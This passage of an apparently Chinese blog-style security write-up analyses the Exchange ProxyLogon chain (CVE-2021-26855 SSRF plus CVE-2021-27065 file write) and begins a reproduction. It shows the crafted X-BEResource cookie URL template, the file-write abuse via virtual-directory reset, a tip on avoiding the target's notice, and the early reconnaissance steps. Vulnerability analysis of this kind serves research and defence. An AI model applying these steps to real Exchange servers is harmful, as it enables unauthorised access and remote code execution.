Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">其中要留意的关键点有两个，一是请求的url地址，二是Cookies。</span></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">下面的分析参考知道创宇</span></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><strong>1、URL地址</strong></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"></span><span style="color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">首先，url中的</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">/ecp/08gl.js</span></code><span style="color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">不是一个存在的文件，而是一个虚拟路径，这么做的原因是为了能够调用BEResourceRequestHandler进行后端的请求。为了达到这个目的，我们所构造的数据包要满足ProtocolType为Ecp（也就是以 /ecp/xxx.xxx 进行请求），并且需要CanHandle返回true。</span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-backh="263" data-backw="528" data-galleryid="" data-ratio="0.49867608120035306" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1133" src="https://wechat2rss.xlab.app/img-proxy/?k=3329e4ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQby5q8Xqxo6mzaRG8Qia8e2KDDMBHicobCPS3tyORtX5H4AmfQp9ianFog%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"></span><span style="background-color: rgb(255, 255, 255);">在CanHandle()中，使用GetBEResouceCookie()判断请求包中是否存在 X-BEResource字段的Cookies，使用IsResourceRequest()判断url地址。</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="106" data-backw="528" data-galleryid="" data-ratio="0.20088495575221238" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=f40b0c41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQnQ0pT7VZiaDTB4V9FskuIMliamDicK9EEzFfKyPB2rWpS4SufPByA9POw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">在IsResourceRequest()中判断了传入的路径的后缀，只要是以下列举出来的后缀名都会返回true。</p><p style="text-align: center;"><img class="rich_pages" data-backh="428" data-backw="528" data-galleryid="" data-ratio="0.8100706713780919" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1132" src="https://wechat2rss.xlab.app/img-proxy/?k=92911b94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQnh8hod5O9DlO9ia0NzRplZdG0eFntsVfHhhh6qaXO25XT07jvp2PCtQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">因此，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">/ecp/08gl.js</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">实际上仅需要满足</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">/ecp/xxx.合法后缀名</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">即可。</span></p><p cid="n22" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><br/></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><strong>2、Cookies</strong></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">关键点在于BEResourceRequestHandler.ResolveAnchorMailbox函数，该函数直接提取出Cookie中的 X-BEResource 字段，并用其生成 BackEndServe实例，最终向BackEnd发出请求。</p><p style="text-align: center;"><img class="rich_pages" data-backh="181" data-backw="528" data-galleryid="" data-ratio="0.34305923961096374" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1131" src="https://wechat2rss.xlab.app/img-proxy/?k=f824ba89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQEOzUS56hOY7SkM2RHyx2OLQsRUkStxjG2L8ezXESicfzsia9Ezweic67w%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n34" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">因此X-BEResource 用于代理请求，其格式为[fqdn]~BackEndServerVersion，BackEndServerVersion 应该大于1941962752。</span></p><p cid="n35" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">后序BackEndServer.FromString会调用一系列拼接和解析函数，这里就略过了。最后指向BackEnd 的url类似这样:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">这其中name没有做检查和限制，‘<span class="code-snippet__comment">#’ 用于在有url请求参数时分隔参数</span></span></code><code><span class="code-snippet_outer">https:<span class="code-snippet__regexp">//</span>[name@FQDN:<span class="code-snippet__number">444</span>/autodiscover/autodiscover.xml?<span class="code-snippet__comment">#]:443/ecp/target.js</span></span></code></pre></section><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">后续如果需要通过ssrf去访问的api，修改:444后的url地址即可。</p><p style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;display: inline !important;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><br/></p><p><br/></p><section data-tools="135编辑器" data-id="101975" data-color="#757576"><section style="margin: 10px 2px;text-align: center;"><section style="display: flex;justify-content: center;"><section><section style="border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);border-radius: 30px;display: flex;justify-content: center;box-sizing: border-box;"><section style="border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: flex;justify-content: center;margin: 4px;border-radius: 30px;box-sizing: border-box;"><section data-brushtype="text" style="color: rgb(117, 117, 118);line-height: 1.75em;font-size: 16px;padding: 1px 40px 1px 30px;box-sizing: border-box;"><strong> <strong style="color: rgb(51, 51, 51);font-size: 1.5em;orphans: 4;white-space: pre-wrap;caret-color: red;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">CVE-2021-27065</strong></strong></section></section></section></section></section></section></section><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">该漏洞具体位置在exchange管理中心（ecp）的虚拟目录配置窗口，需要administrator权限才可进行操作。</p><p style="text-align: center;"><img class="rich_pages" data-backh="290" data-backw="528" data-galleryid="" data-ratio="0.5496921723834652" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1137" src="https://wechat2rss.xlab.app/img-proxy/?k=7d93bb24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQr9xy4j3r44k01874CwLb3EnyOMvmqTGneFAYKPibMocVXxG0wzWgibhA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">点击上方的修改按钮，在内部URL（InternalUrl）和外部URL（ExternUrl）中都可以填入payload，两者都限制了最大长度为255，并且会将url里的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">%</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">全部编码为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">%25</code></span><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">。</span></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">这里首选修改外部URL，因为修改了内部URL可能会让某些内部服务失去作用，引起目标的警觉。</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="377" data-backw="528" data-galleryid="" data-ratio="0.7132701421800948" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="844" src="https://wechat2rss.xlab.app/img-proxy/?k=a118536a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQicfskpxa9oib0xrwSVYybTOS870MKc2QjL1AscKSL0V5Fcia84rlVgjHQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"></span></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">最后，选择重置按钮，这个操作将会把原先的对虚拟目录的设置进行保存，而后将当前服务的虚拟目录配置恢复为默认配置。因为exchange并没有对以下的路径和保存的文件名进行检测和限制，所以在此可以填入任意的路径和文件名，造成任意文件写漏洞。</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="221" data-backw="528" data-galleryid="" data-ratio="0.41845878136200715" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1116" src="https://wechat2rss.xlab.app/img-proxy/?k=c864a3fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQe7PC6ia4oE6MgaNfw5pKzw0ZJZZXJfpvcYDvic70T2q26bOmvNMtdD4g%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"></span></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">写入的文件格式如下：</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="276" data-backw="528" data-galleryid="" data-ratio="0.5232660228270413" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1139" src="https://wechat2rss.xlab.app/img-proxy/?k=7f955b8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQePw6KaWaZfODmibgfKNlSa5VpFbmnyZ5iaHJkGEDveuIB1NlloG5ksrQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);"></span></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">实际上，除了autodiscover以外，其他服务（ECP，EWS，Mapi，EAS，OAB，OWA，EAS）都可以设置内部URL和外部URL，同时也可以进行重置操作，因此利用RCE可以不仅限于OAB服务。</span></p><p cid="n22" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);">例如，ECP服务：</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="137" data-backw="528" data-galleryid="" data-ratio="0.2592267135325132" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1138" src="https://wechat2rss.xlab.app/img-proxy/?k=4af9c987&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQecOAD73AAD3ag3KTUXCUXxpKKGqUym9t0daPsXOMic7Nu9VrdM7NCVg%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;"></span></p></section></section></section></section></section></section><section data-role="paragraph" data-color="#757576"><p><br/></p></section><section data-role="paragraph" data-color="#757576"><p><br/></p></section><section data-tools="135编辑器" data-id="99864" data-color="#757576"><section style="margin: 10px auto;"><section style="border-width: 5px;border-style: solid;border-color: rgb(117, 117, 118);box-sizing: border-box;"><section style="box-sizing: border-box;"><section style="text-align: center;margin-top: 20px;"><section data-brushtype="text" style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;padding: 10px 2em;color: #ffffff;background: #757576;border-top-left-radius: 15px;border-top-right-radius: 15px;border-bottom-right-radius: 15px;"><strong><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">攻击链</span></strong></section></section><section style="padding: 25px 20px;box-sizing: border-box;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><p><br/></p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">因此，本次利用的exchange漏洞是一个攻击链，将CVE-2021-26855和CVE-2021-27065两个漏洞结合在一起。首先通过ssrf获取到administrator的权限，再利用此时的权限来完成任意文件写操作，最终完成RCE。</span></section><section data-autoskip="1" style="line-height: 1.75em;"><p><span style="letter-spacing: 1.5px;font-size: 16px;white-space: pre-wrap;"><span style="font-family:Open Sans, Clear Sans, Helvetica Neue, Helvetica, Arial, sans-serif;"><br/></span></span></p><span style="color: rgb(51, 51, 51);font-size: 16px;letter-spacing: 1.5px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"></span><p style="color: rgb(41, 41, 41);font-size: 14px;letter-spacing: 1.5px;text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.453804347826087" data-s="300,640" style="" data-type="png" data-w="1104" src="https://wechat2rss.xlab.app/img-proxy/?k=6e09b27f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQ422sWDdb4ZjtiafyZlHVy8anvfib6Hia11iaQwPIGzylia5icrnTSc6Nabpw%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section></section></section></section><section data-role="paragraph" data-color="#757576"><p><br/></p></section><section data-role="paragraph" data-color="#757576"><p><br/></p></section><section data-tools="135编辑器" data-id="99864" data-color="#757576"><section style="margin: 10px auto;"><section style="border-width: 5px;border-style: solid;border-color: rgb(117, 117, 118);box-sizing: border-box;"><section style="box-sizing: border-box;"><section style="text-align: center;margin-top: 20px;"><section data-brushtype="text" style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;padding: 10px 2em;color: #ffffff;background: #757576;border-top-left-radius: 15px;border-top-right-radius: 15px;border-bottom-right-radius: 15px;"><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>复现</strong></span></section></section><section style="padding: 25px 20px;box-sizing: border-box;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><h3 cid="n55" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span md-inline="plain" style="box-sizing: border-box;"><strong>前置条件</strong></span></h3><ul class="list-paddingleft-2" cid="n56" mdtype="list" data-mark="*" style="padding-left: 30px;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><li><p cid="n58" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">需要获取到目标exchange中有效的邮箱名称（任意）</span></p></li><li><p cid="n60" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">POC <span md-inline="plain" style="box-sizing: border-box;text-align: left;background-color: rgb(255, 255, 255);">向/owa/auth/xxx.js发出请求，若返回的数据包为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">NegotiateSecurityContext failed with for host &#39;xxx&#39; with status &#39;TargetUnknown&#39;</code></span><span md-inline="plain" style="box-sizing: border-box;text-align: left;background-color: rgb(255, 255, 255);">，则说明当前的exchange服务器存在ssrf漏洞，并且通过返回包的头部字段X-FEServer，可以获取exchange的FQDN</span></span></p></li></ul><p style="text-align: center;"><img class="rich_pages" data-backh="99" data-backw="528" data-galleryid="" data-ratio="0.18823529411764706" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1105" src="https://wechat2rss.xlab.app/img-proxy/?k=4a960330&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQib67wibZiahujrYQH3eVkQ2TYJh9TsiaIJB7phc7CDRia4jRjkcPVepy81g%2F640%3Fwx_fmt%3Dpng"/></p><h3 cid="n64" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span md-inline="plain" style="box-sizing: border-box;"><strong>准备工作</strong></span></h3><h4 cid="n65" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span md-inline="plain" style="box-sizing: border-box;"><strong>获取用户SID</strong></span></h4><p cid="n60" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">使用内置的autodiscover服务获取LegacyDN信息。</span></p><p cid="n61" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="color: rgb(119, 119, 119);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务，用于自动配置用户在Outlook中邮箱的相关设置，简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中，通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3517364203027605" data-s="300,640" style="" data-type="png" data-w="1123" src="https://wechat2rss.xlab.app/img-proxy/?k=cda558f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQkictTPiaHicNAMBU4Tib3l8nhWDPRZxeT1ljoTvs4vSnE8JssczcVPOekw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">使用exchange的mapi over http特性，通过触发报错来获取用户的SID。</span></p><p style="text-align: center;"><img class="rich_pages" 